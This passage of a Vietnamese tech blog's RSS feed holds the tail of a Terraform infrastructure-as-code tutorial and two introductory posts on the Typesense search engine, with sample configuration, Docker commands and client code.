&lt;pre&gt;&lt;code class=&quot;language-hcl&quot;&gt;# main.tf
terraform {
  required_providers {
    aws = {
      source  = &quot;hashicorp/aws&quot;
      version = &quot;~&gt; 5.0&quot;
    }
  }
}

provider &quot;aws&quot; {
  region = &quot;ap-southeast-1&quot;
}

resource &quot;aws_instance&quot; &quot;web&quot; {
  ami           = &quot;ami-0c55...&quot;
  instance_type = &quot;t3.micro&quot;

  tags = {
    Name = &quot;web-server&quot;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Chạy:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;terraform init # Tải provider
terraform plan # Xem những gì sẽ thay đổi
terraform apply # Thực thi
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;State Management&lt;/h2&gt;
&lt;p&gt;Terraform lưu trạng thái hạ tầng hiện tại trong state file. State là trái tim của Terraform — nó biết resource nào đã tồn tại, resource nào cần tạo.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;{
  &quot;version&quot;: 4,
  &quot;resources&quot;: [{
    &quot;type&quot;: &quot;aws_instance&quot;,
    &quot;name&quot;: &quot;web&quot;,
    &quot;instances&quot;: [{
      &quot;attributes&quot;: {
        &quot;id&quot;: &quot;i-123456&quot;,
        &quot;public_ip&quot;: &quot;54.123.45.67&quot;
      }
    }]
  }]
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Không bao giờ lưu state local. Dùng remote backend:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-hcl&quot;&gt;terraform {
  backend &quot;s3&quot; {
    bucket = &quot;my-terraform-state&quot;
    key    = &quot;prod/terraform.tfstate&quot;
    region = &quot;ap-southeast-1&quot;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Hoặc dùng Terraform Cloud / Cloudflare R2 / GCS.&lt;/p&gt;
&lt;h2&gt;Module — Tái Sử Dụng&lt;/h2&gt;
&lt;p&gt;Module là package Terraform. Thay vì copy-paste, bạn gọi module:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-hcl&quot;&gt;module &quot;vpc&quot; {
  source = &quot;terraform-aws-modules/vpc/aws&quot;
  version = &quot;5.0&quot;
  
  name = &quot;my-vpc&quot;
  cidr = &quot;10.0.0.0/16&quot;
}

module &quot;web_app&quot; {
  source = &quot;./modules/web-app&quot;
  
  vpc_id     = module.vpc.vpc_id
  subnet_ids = module.vpc.public_subnets
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Module có thể từ registry, GitHub, hoặc local path.&lt;/p&gt;
&lt;h2&gt;Workspace — Nhiều Môi Trường&lt;/h2&gt;
&lt;p&gt;Dùng workspace để quản lý dev / staging / prod:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;terraform workspace new dev
terraform workspace new staging
terraform workspace new prod
terraform workspace select dev
terraform apply
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-hcl&quot;&gt;resource &quot;aws_instance&quot; &quot;web&quot; {
  instance_type = terraform.workspace == &quot;prod&quot; ? &quot;t3.large&quot; : &quot;t3.micro&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Ví Dụ: Cloudflare + AWS&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-hcl&quot;&gt;# Cloudflare DNS + AWS EC2

provider &quot;cloudflare&quot; {
  api_token = var.cloudflare_token
}

provider &quot;aws&quot; {
  region = &quot;ap-southeast-1&quot;
}

resource &quot;aws_instance&quot; &quot;app&quot; {
  ami           = &quot;ami-0c55...&quot;
  instance_type = &quot;t3.micro&quot;
  
  tags = { Name = &quot;my-app-${terraform.workspace}&quot; }
}

resource &quot;cloudflare_record&quot; &quot;app&quot; {
  zone_id = var.cloudflare_zone_id
  name    = &quot;app&quot;
  value   = aws_instance.app.public_ip
  type    = &quot;A&quot;
  proxied = true
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Chạy &lt;code&gt;terraform apply&lt;/code&gt; — Terraform tạo VM trên AWS và thêm DNS record trên Cloudflare trong một lần.&lt;/p&gt;
&lt;h2&gt;Variables Và Outputs&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-hcl&quot;&gt;# variables.tf
variable &quot;instance_type&quot; {
  description = &quot;EC2 instance type&quot;
  type        = string
  default     = &quot;t3.micro&quot;
}

variable &quot;environment&quot; {
  type    = string
  validation {
    condition     = contains([&quot;dev&quot;, &quot;staging&quot;, &quot;prod&quot;], var.environment)
    error_message = &quot;Must be dev, staging, or prod.&quot;
  }
}

# outputs.tf
output &quot;public_ip&quot; {
  value       = aws_instance.web.public_ip
  description = &quot;Public IP of web server&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;terraform apply -var=&quot;instance_type=t3.large&quot; -var=&quot;environment=prod&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Best Practices&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Remote state + locking&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;State backend + dynamodb lock để tránh conflict:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-hcl&quot;&gt;backend &quot;s3&quot; {
  bucket         = &quot;tf-state&quot;
  key            = &quot;prod/terraform.tfstate&quot;
  region         = &quot;ap-southeast-1&quot;
  dynamodb_table = &quot;tf-lock&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;Module hoá&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Chia thành: &lt;code&gt;modules/vpc&lt;/code&gt;, &lt;code&gt;modules/database&lt;/code&gt;, &lt;code&gt;modules/app&lt;/code&gt;.&lt;/p&gt;
&lt;ol start=&quot;3&quot;&gt;
&lt;li&gt;Git workflow&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;main # Môi trường prod
├── staging # Môi trường staging
├── dev # Môi trường dev
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Apply trong CI/CD, không apply local.&lt;/p&gt;
&lt;ol start=&quot;4&quot;&gt;
&lt;li&gt;Lifecycle rules&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code class=&quot;language-hcl&quot;&gt;resource &quot;aws_db_instance&quot; &quot;main&quot; {
  lifecycle {
    prevent_destroy = true  # Không cho terraform destroy
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol start=&quot;5&quot;&gt;
&lt;li&gt;Import existing resources&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Có resource đã tạo tay? Import vào state:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;terraform import aws_instance.web i-123456
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;So Sánh Với Các IaC Khác&lt;/h2&gt;
&lt;p&gt;| | Terraform | Pulumi | CloudFormation |
|---|---|---|---|
| Language | HCL | Python/TS/Go | JSON/YAML |
| State | Remote backend | Managed | AWS quản lý |
| Multi-cloud | AWS, GCP, Azure, CF | AWS, GCP, Azure | AWS only |
| Learning curve | Trung bình | Thấp (nếu biết ngôn ngữ) | Cao |
| Community | Lớn nhất | Đang phát triển | AWS ecosystem |&lt;/p&gt;
&lt;h2&gt;Kết Luận&lt;/h2&gt;
&lt;p&gt;Terraform là kỹ năng bắt buộc nếu bạn làm backend hoặc DevOps năm 2026. Git cho code, Terraform cho hạ tầng — hai thứ không thể thiếu.&lt;/p&gt;
&lt;p&gt;Bắt đầu: một EC2 instance + Cloudflare DNS. Module hoá khi cần tái sử dụng. Remote state + locking cho team. CI/CD cho apply tự động.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.hashicorp.com/terraform/docs&quot;&gt;Terraform Official Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.hashicorp.com/terraform/language&quot;&gt;Terraform Configuration Language&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.hashicorp.com/terraform/language/state&quot;&gt;Terraform State Management&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.hashicorp.com/terraform/language/modules&quot;&gt;Terraform Modules&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://registry.terraform.io/providers/hashicorp/aws/latest/docs&quot;&gt;AWS Provider Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://registry.terraform.io/providers/cloudflare/cloudflare/latest/docs&quot;&gt;Cloudflare Provider Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.hashicorp.com/terraform/tutorials/cloud/cloud-migrate&quot;&gt;Terraform Best Practices&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Typesense — Search Engine Nguồn Mở Cho Ứng Dụng Hiện Đại</title><link>https://dopana-blog.pages.dev/blog/typesense-intro</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/typesense-intro</guid><description>Typesense là search engine C++ siêu nhanh, typo-tolerant, mã nguồn mở. Hỗ trợ vector search, semantic search, geo search, và hơn thế nữa.</description><pubDate>Wed, 01 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Tìm kiếm là một trong những tính năng khó làm đúng nhất. Elasticsearch quá nặng để setup và vận hành. Algolia quá đắt khi scale. Typesense là lựa chọn thứ ba — mã nguồn mở, chạy nhanh, dễ deploy, và đầy đủ tính năng hiện đại.&lt;/p&gt;
&lt;h2&gt;Typesense Là Gì?&lt;/h2&gt;
&lt;p&gt;Typesense là search engine mã nguồn mở (GPL-3.0, 26k+ sao GitHub), viết bằng C++. Nó được thiết kế để thay thế Algolia (cho người muốn tự host) và Elasticsearch (cho người muốn đơn giản hơn).&lt;/p&gt;
&lt;p&gt;Một binary duy nhất, không runtime dependency, chạy ngay với một câu lệnh.&lt;/p&gt;
&lt;h2&gt;Tính Năng Chính&lt;/h2&gt;
&lt;h3&gt;Tìm Kiếm Cơ Bản&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Typo Tolerance — Xử lý lỗi chính tả ngay khi đánh, không cần cấu hình&lt;/li&gt;
&lt;li&gt;Tunable Ranking — Tuỳ chỉnh ranking theo ý muốn&lt;/li&gt;
&lt;li&gt;Sorting — Sort theo field dynamic&lt;/li&gt;
&lt;li&gt;Faceting &amp;#x26; Filtering — Lọc và phân loại kết quả&lt;/li&gt;
&lt;li&gt;Grouping &amp;#x26; Distinct — Nhóm kết quả tương tự&lt;/li&gt;
&lt;li&gt;Federated Search — Search nhiều collection trong một request&lt;/li&gt;
&lt;li&gt;Geo Search — Tìm kiếm quanh toạ độ / trong bounding box&lt;/li&gt;
&lt;li&gt;JOINs — Kết nối collection qua reference field&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;AI &amp;#x26; Hiện Đại&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Vector Search — Tìm nearest neighbor cho embedding&lt;/li&gt;
&lt;li&gt;Semantic / Hybrid Search — Tự động sinh embedding từ S-BERT, E-5, hoặc OpenAI, PaLM&lt;/li&gt;
&lt;li&gt;Conversational Search (RAG) — Đặt câu hỏi, Typesense trả lời bằng câu hoàn chỉnh dựa trên dữ liệu của bạn&lt;/li&gt;
&lt;li&gt;Natural Language Search — Chuyển đổi câu hỏi tự nhiên thành filter và sort&lt;/li&gt;
&lt;li&gt;Image Search — Tìm ảnh bằng mô tả văn bản qua CLIP model&lt;/li&gt;
&lt;li&gt;Voice Search — Ghi âm giọng nói, Typesense nhận dạng qua Whisper và tìm kiếm&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Hạ Tầng&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Scoped API Keys — API key chỉ truy cập một số record nhất định&lt;/li&gt;
&lt;li&gt;Synonyms — Từ đồng nghĩa&lt;/li&gt;
&lt;li&gt;Curation &amp;#x26; Merchandizing — Boost record lên vị trí cố định&lt;/li&gt;
&lt;li&gt;Raft-based Clustering — Cluster phân tán, high availability&lt;/li&gt;
&lt;li&gt;No Runtime Dependencies — Một binary duy nhất&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Hiệu Năng&lt;/h2&gt;
&lt;p&gt;Kết quả benchmark trên server 4 vCPU:&lt;/p&gt;
&lt;p&gt;| Dataset | Records | RAM | Index time | Throughput | Latency |
|---|---|---|---|---|---|
| Recipes | 2.2M | 900MB | 3.6min | 104 qps | 11ms |
| Books (OpenLibrary) | 28M | 14GB | 78min | 46 qps | 28ms |
| Amazon Products | 3M | — | — | 250 qps | — |&lt;/p&gt;
&lt;p&gt;Typesense Cloud phục vụ 10 tỷ search mỗi tháng. Docker images đã được download hơn 12 triệu lần.&lt;/p&gt;
&lt;h2&gt;So Sánh Với Elasticsearch&lt;/h2&gt;
&lt;p&gt;| Tiêu chí | Typesense | Elasticsearch |
|---|---|---|
| Ngôn ngữ | C++ (single binary) | Java (JVM) |
| Config | Smart defaults, ít config | Hàng ngàn tham số |
| Setup | Docker một lệnh | Phức tạp, cần tuning JVM |
| Dùng cho | Search UX, ứng dụng | Logs, billions docs |
| RAM khi mới start | ~30MB | ~1GB+ |&lt;/p&gt;
&lt;h2&gt;So Sánh Với Algolia&lt;/h2&gt;
&lt;p&gt;| Tiêu chí | Typesense | Algolia |
|---|---|---|
| Loại | Open source, tự host / cloud | SaaS, proprietary |
| Chi phí | Fixed hourly (Typesense Cloud) | Theo records + operations |
| Sort order | Một index đa sort | Nhiều index = tốn memory |
| Config | Query time | Index time |&lt;/p&gt;
&lt;h2&gt;Quick Start&lt;/h2&gt;
&lt;p&gt;Chạy Typesense với Docker:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;docker run -p 8108:8108 -v/tmp/data:/data \
  typesense/typesense:30.2 \
  --data-dir /data \
  --api-key=Hu52dwsas2AdxdE
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Tạo collection và index document (Python):&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;import typesense

client = typesense.Client({
  &apos;api_key&apos;: &apos;Hu52dwsas2AdxdE&apos;,
  &apos;nodes&apos;: [{
    &apos;host&apos;: &apos;localhost&apos;, &apos;port&apos;: &apos;8108&apos;, &apos;protocol&apos;: &apos;http&apos;
  }],
  &apos;connection_timeout_seconds&apos;: 2
})

# Tạo collection
client.collections.create({
  &quot;name&quot;: &quot;companies&quot;,
  &quot;fields&quot;: [
    {&quot;name&quot;: &quot;company_name&quot;, &quot;type&quot;: &quot;string&quot;},
    {&quot;name&quot;: &quot;num_employees&quot;, &quot;type&quot;: &quot;int32&quot;},
    {&quot;name&quot;: &quot;country&quot;, &quot;type&quot;: &quot;string&quot;, &quot;facet&quot;: True}
  ],
  &quot;default_sorting_field&quot;: &quot;num_employees&quot;
})

# Index document
client.collections[&apos;companies&apos;].documents.create({
  &quot;id&quot;: &quot;124&quot;,
  &quot;company_name&quot;: &quot;Stark Industries&quot;,
  &quot;num_employees&quot;: 5215,
  &quot;country&quot;: &quot;USA&quot;
})

# Search — có typo vẫn tìm được
client.collections[&apos;companies&apos;].documents.search({
  &apos;q&apos;: &apos;stork&apos;,
  &apos;query_by&apos;: &apos;company_name&apos;,
  &apos;filter_by&apos;: &apos;num_employees:&gt;100&apos;,
  &apos;sort_by&apos;: &apos;num_employees:desc&apos;
})
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;stork&lt;/code&gt; vẫn tìm ra &lt;code&gt;Stark Industries&lt;/code&gt; — typo tolerance hoạt động ngay khi đánh sai.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Framework Integrations&lt;/h2&gt;
&lt;p&gt;Typesense có sẵn client cho hầu hết ngôn ngữ — JavaScript, Python, PHP, Ruby, Go, Java, Rust, Dart — và tích hợp với Laravel, WordPress, WooCommerce, Docusaurus, Gatsby, Symfony, InstantSearch, Firebase.&lt;/p&gt;
&lt;h2&gt;Live Demos&lt;/h2&gt;
&lt;p&gt;Typesense cung cấp nhiều demo thực tế trên các dataset lớn:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://songs-search.typesense.org/&quot;&gt;32M songs&lt;/a&gt; (MusicBrainz)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://books-search.typesense.org/&quot;&gt;28M books&lt;/a&gt; (OpenLibrary)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://recipe-search.typesense.org/&quot;&gt;2M recipes&lt;/a&gt; (RecipeNLG)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://ecommerce-store.typesense.org/&quot;&gt;E-commerce store&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://airbnb-geosearch.typesense.org/&quot;&gt;GeoSearch Airbnb&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://hn-comments-search.typesense.org/&quot;&gt;Semantic search HN&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Kết Luận&lt;/h2&gt;
&lt;p&gt;Typesense là search engine lý tưởng nếu bạn cần search nhanh, dễ deploy, không muốn quản lý Elasticsearch phức tạp hay trả tiền Algolia đắt đỏ. Một binary C++, đầy đủ vector search + semantic search + RAG — đủ cho hầu hết ứng dụng cần tìm kiếm.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://typesense.org/docs/&quot;&gt;Typesense Official Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/typesense/typesense&quot;&gt;Typesense GitHub Repository&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cloud.typesense.org/&quot;&gt;Typesense Cloud&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.elastic.co/guide/en/elasticsearch/reference/current/index.html&quot;&gt;Elasticsearch Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.algolia.com/doc/&quot;&gt;Algolia Documentation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Typesense Là Gì? Search Engine Nhanh, Nhẹ Cho App Hiện Đại</title><link>https://dopana-blog.pages.dev/blog/typesense-la-gi</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/typesense-la-gi</guid><description>Tìm hiểu Typesense - search engine open source thay thế Elasticsearch, Algolia với tốc độ cao, dễ triển khai và thân thiện với developer.</description><pubDate>Wed, 01 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Trong nhiều ứng dụng web hiện nay, tính năng tìm kiếm là một phần rất quan trọng:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Website thương mại điện tử cần tìm sản phẩm nhanh&lt;/li&gt;
&lt;li&gt;Blog cần tìm bài viết&lt;/li&gt;
&lt;li&gt;SaaS cần tìm dữ liệu trong dashboard&lt;/li&gt;
&lt;li&gt;Ứng dụng AI cần tìm kiếm knowledge base&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Các database thông thường như PostgreSQL hoặc MySQL có thể hỗ trợ tìm kiếm cơ bản, nhưng khi dữ liệu lớn hơn, yêu cầu tìm kiếm thông minh hơn thì cần một search engine chuyên dụng.&lt;/p&gt;
&lt;p&gt;Một trong những lựa chọn đang được nhiều developer quan tâm là Typesense.&lt;/p&gt;
&lt;h2&gt;Typesense Là Gì?&lt;/h2&gt;
&lt;p&gt;Typesense là một open-source search engine tập trung vào:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Tốc độ tìm kiếm cực nhanh&lt;/li&gt;
&lt;li&gt;API đơn giản&lt;/li&gt;
&lt;li&gt;Dễ deploy&lt;/li&gt;
&lt;li&gt;Hỗ trợ typo tolerance (sửa lỗi chính tả)&lt;/li&gt;
&lt;li&gt;Phù hợp cho autocomplete và instant search&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Có thể hiểu đơn giản:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Typesense giống như một phiên bản nhẹ hơn, dễ dùng hơn của Elasticsearch.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Thay vì phải cấu hình rất nhiều thứ như Elasticsearch, Typesense hướng tới trải nghiệm developer:&lt;/p&gt;
&lt;p&gt;Install → Import data → Search&lt;/p&gt;
&lt;h2&gt;Typesense Hoạt Động Như Thế Nào?&lt;/h2&gt;
&lt;p&gt;Typesense không thay thế database chính. Một kiến trúc phổ biến:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;          User
             |
           Frontend
             |
         Typesense
             |
    -------------------
    |                 |
PostgreSQL          MySQL
 (hoặc API)    (hoặc MongoDB)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Database vẫn giữ dữ liệu chính. Typesense chỉ lưu một bản index để phục vụ tìm kiếm nhanh.&lt;/p&gt;
&lt;p&gt;Ví dụ, dữ liệu trong database:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;{
  &quot;id&quot;: 1,
  &quot;name&quot;: &quot;iPhone 15 Pro&quot;,
  &quot;description&quot;: &quot;Điện thoại Apple mới nhất&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Được index vào Typesense:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;{
  &quot;id&quot;: &quot;1&quot;,
  &quot;name&quot;: &quot;iPhone 15 Pro&quot;,
  &quot;description&quot;: &quot;Điện thoại Apple mới nhất&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Khi user search &lt;code&gt;iphone 15&lt;/code&gt;, Typesense trả kết quả gần như ngay lập tức.&lt;/p&gt;
&lt;h2&gt;Tính Năng Nổi Bật&lt;/h2&gt;
&lt;h3&gt;1. Typo Tolerance&lt;/h3&gt;
&lt;p&gt;Người dùng thường nhập sai. &lt;code&gt;iphnoe&lt;/code&gt; thay vì &lt;code&gt;iphone&lt;/code&gt;. Typesense vẫn hiểu và trả về sản phẩm phù hợp. Điều này rất quan trọng với ecommerce, search sản phẩm, documentation.&lt;/p&gt;
&lt;h3&gt;2. Instant Search&lt;/h3&gt;
&lt;p&gt;Typesense được thiết kế cho trải nghiệm gõ đến đâu search đến đó:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;User types: macbo
            ↓
Result appears immediately
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Không cần bấm nút Search. Phù hợp cho search bar, autocomplete, command palette.&lt;/p&gt;
&lt;h3&gt;3. API Đơn Giản&lt;/h3&gt;
&lt;p&gt;Tạo collection:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;{
  &quot;name&quot;: &quot;products&quot;,
  &quot;fields&quot;: [
    { &quot;name&quot;: &quot;name&quot;, &quot;type&quot;: &quot;string&quot; },
    { &quot;name&quot;: &quot;price&quot;, &quot;type&quot;: &quot;int32&quot; }
  ]
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Search với JavaScript:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;const results = await client
  .collections(&apos;products&apos;)
  .documents()
  .search({
    q: &apos;iphone&apos;,
    query_by: &apos;name&apos;
  })
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Rất ít config.&lt;/p&gt;
&lt;h2&gt;Typesense vs Elasticsearch&lt;/h2&gt;
&lt;p&gt;| Tiêu chí | Typesense | Elasticsearch |
|---|---|---|
| Setup | Dễ | Phức tạp |
| Learning curve | Thấp | Cao |
| Performance (nhỏ/vừa) | Rất nhanh | Nhanh |
| Distributed system | Có | Rất mạnh |
| Full text search | Tốt | Rất mạnh |
| Analytics | Cơ bản | Mạnh |
| Resource cần dùng | Ít | Nhiều |&lt;/p&gt;
&lt;p&gt;Nếu bạn xây blog, ecommerce nhỏ, SaaS, startup MVP — Typesense thường là lựa chọn hợp lý hơn.&lt;/p&gt;
&lt;p&gt;Nếu bạn xây search hàng tỷ document, log analytics, enterprise search — Elasticsearch có nhiều lợi thế hơn.&lt;/p&gt;
&lt;h2&gt;Typesense vs Algolia&lt;/h2&gt;
&lt;p&gt;Algolia là search service dạng SaaS.&lt;/p&gt;
&lt;p&gt;| Tiêu chí | Typesense | Algolia |
|---|---|---|
| Open source | Có | Không |
| Self-host | Có | Không |
| Pricing | Server cost | Theo usage |
| Control dữ liệu | Cao | Thấp hơn |
| Setup | Cần tự quản lý | Rất dễ |&lt;/p&gt;
&lt;p&gt;Nếu muốn không phụ thuộc vendor, host trên server riêng, kiểm soát dữ liệu — Typesense là lựa chọn tốt.&lt;/p&gt;
&lt;h2&gt;Cài Đặt Typesense Bằng Docker&lt;/h2&gt;
&lt;p&gt;Cách nhanh nhất:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;docker run \
  -p 8108:8108 \
  -v /tmp/typesense-data:/data \
  typesense/typesense:27.0 \
  --data-dir /data \
  --api-key=xyz
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Sau đó truy cập:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://localhost:8108
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;API:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;GET /collections
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Kết Nối JavaScript&lt;/h2&gt;
&lt;p&gt;Cài SDK:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;npm install typesense
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Config:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;import Typesense from &apos;typesense&apos;

const client = new Typesense.Client({
  nodes: [{
    host: &apos;localhost&apos;,
    port: &apos;8108&apos;,
    protocol: &apos;http&apos;
  }],
  apiKey: &apos;xyz&apos;
})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Search:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;const result = await client
  .collections(&apos;products&apos;)
  .documents()
  .search({
    q: &apos;iphone&apos;,
    query_by: &apos;name&apos;
  })

console.log(result)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Typesense Phù Hợp Với Dự Án Nào?&lt;/h2&gt;
&lt;p&gt;Blog — Search bài viết theo nội dung:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Search: &quot;react hook&quot;
→ Bài viết: &quot;React useEffect và useState&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Ecommerce — Search sản phẩm có typo:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;iphone 15 black
→ iPhone 15 Pro Max Black
→ iPhone 15 Case Black
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;SaaS Dashboard — Search dữ liệu nhanh:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;customer@email.com
invoice 2026
project name
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Documentation — Search tài liệu:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;authentication jwt
→ JWT Authentication Guide
→ API Token Documentation
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Khi Nào Không Nên Dùng Typesense?&lt;/h2&gt;
&lt;p&gt;Không cần Typesense nếu:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Database nhỏ&lt;/li&gt;
&lt;li&gt;Chỉ search chính xác&lt;/li&gt;
&lt;li&gt;Ít dữ liệu&lt;/li&gt;
&lt;li&gt;Không cần typo tolerance&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Ví dụ một câu query đơn giản là đủ:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;SELECT * FROM users WHERE email = &apos;abc@gmail.com&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Kết Luận&lt;/h2&gt;
&lt;p&gt;Typesense là search engine hiện đại, nhẹ và developer-friendly.&lt;/p&gt;
&lt;p&gt;Điểm mạnh:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Tốc độ tìm kiếm rất nhanh&lt;/li&gt;
&lt;li&gt;API đơn giản&lt;/li&gt;
&lt;li&gt;Deploy dễ bằng Docker&lt;/li&gt;
&lt;li&gt;Mã nguồn mở&lt;/li&gt;
&lt;li&gt;Typo tolerance tốt&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Với các dự án blog, ecommerce, SaaS hoặc startup MVP, Typesense là lựa chọn đáng cân nhắc thay vì phải triển khai Elasticsearch phức tạp.&lt;/p&gt;
&lt;p&gt;Nếu cần một search engine chạy được nhanh, ít đau đầu — Typesense là một trong những lựa chọn tốt hiện nay.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://typesense.org/docs/&quot;&gt;Typesense Official Documentation&lt;/a&gt;&lt;/li&gt;
